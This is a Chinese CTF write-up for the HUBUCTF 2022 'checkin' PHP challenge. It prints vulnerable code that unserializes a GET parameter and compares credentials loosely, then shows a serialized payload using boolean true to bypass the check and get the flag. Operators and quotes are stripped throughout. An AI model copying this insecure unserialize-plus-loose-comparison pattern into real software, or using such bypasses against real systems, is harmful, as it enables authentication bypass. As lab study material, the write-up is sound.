NSSCTF做题记录九 | [HUBUCTF 2022 新生赛]checkin
[HUBUCTF 2022 新生赛]checkin?php show_source(__FILE__); //高亮显示当前代码 $username this_is_secret; //给$username赋值 $password this_is_not_known_to_you; //给$password赋值 include(flag.php);//here I changed those two //包含了flag.php这里原本的注释说它修改了这两个值 $info isset($_GET[info])? $_GET[info]: ; //从URL参数里获取info,如果用户传了?info……就把它赋值给$info,如果没传就让$info空字符串 $data_unserialize unserialize($info); //把$info这个字符串按PHP序列化格式进行反序列化 if ($data_unserialize[username]$username$data_unserialize[password]$password){ //判断反序列化后的数组里username这个值是否等于$usernmae,password这个值是否等于$password //这里是弱比较可以让值为true因为布尔类型 true 与非零非 NULL 变量比较都会是 True、 echo $flag; }else{ echo username or password error!; } ? username or password error!才开始我定义的是$username this_is_secret;$password this_is_not_known_to_you;进行序列化然后进行传参后面发现不行看了下代码还有个关键信息没有看到include(flag.php);//here I changed those two他把这两个参数的值修改了这里 if 条件中的比较是一个弱比较使用 true 来代替因为布尔类型 true 与非零非 NULL 变量比较都会是 True?php $admin[usernametrue,passwordtrue]; $seradminserialize($admin); echo $seradmin; ?a:2:{s:8:username;b:1;s:8:password;b:1;}http://node5.anna.nssctf.cn:27007/?infoa:2:{s:8:%22username%22;b:1;s:8:%22password%22;b:1;}?infoa:2:{s:8:username;b:1;s:8:password;b:1;}本题考点:弱比较绕过、php 代码审计、布尔类型 true 与非零非 NULL 变量比较都会是 True复盘思路1. 这是什么类型的题php 代码审计php 反序列化2. 我为什么没做出来才开始序列化的时候没有注意道源代码中的注释理解错误了3. 正确思路是什么代码审计-知道了绕过条件-构造序列化代码-传参得到 flag4. 下次遇到什么特征要想到它弱比较、布尔类型 true 与非零非 NULL 变量比较都会是 True知识点三元运算符、unserialize()、布尔类型 true 与非零非 NULL 变量比较都会是 True三元运算符作用相当于简写版的 if……else语法条件值 1值 2含义条件为真结果就是值 1条件为假结果就是值 2unserialize():把 php 序列化后的字符串恢复成原本的数据类型例子$str a:1:{s:4:name;s:5:admin;}; $data unserialize($str);反序列化后$data [name admin];常见可序列化后的数据数组、字符串、整数、对象
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2469042.html
如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!